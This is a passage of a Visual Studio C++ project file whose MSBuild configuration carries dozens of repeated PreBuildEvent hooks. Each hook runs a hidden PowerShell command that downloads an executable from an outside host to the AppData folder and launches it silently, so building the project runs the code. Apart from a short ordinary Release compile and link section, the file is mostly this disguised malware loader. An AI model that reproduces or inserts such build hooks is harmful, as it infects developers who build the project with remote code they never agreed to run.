<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MbTeY4wTlnhlVbNmIDLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=0GTls3ZELXLnKLrXDsLCW010.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Mzrj0OStxgmMYRqEMhLCW012.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=upAa8nppMvK3ggd1dFLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4Suvv0GFZDE3St59PULCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=aqFVrRXATt0e1WbhtSPRE002.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vuMxXgveUWfr4HYswLPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=CuqkLdD8r2LVIbuRFXPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=uqtg7OzSflP3gjdbMEPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vPBfvSYraXianQGEPKPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=xd3Ihnad6TB831fHToPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=5kbdScpPw4qbif5TtEPRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=JOSBf2fDaTKZmCIop7LMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MbTeY4wTlnhlVbNmIDLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=0GTls3ZELXLnKLrXDsLCW010.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Mzrj0OStxgmMYRqEMhLCW012.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
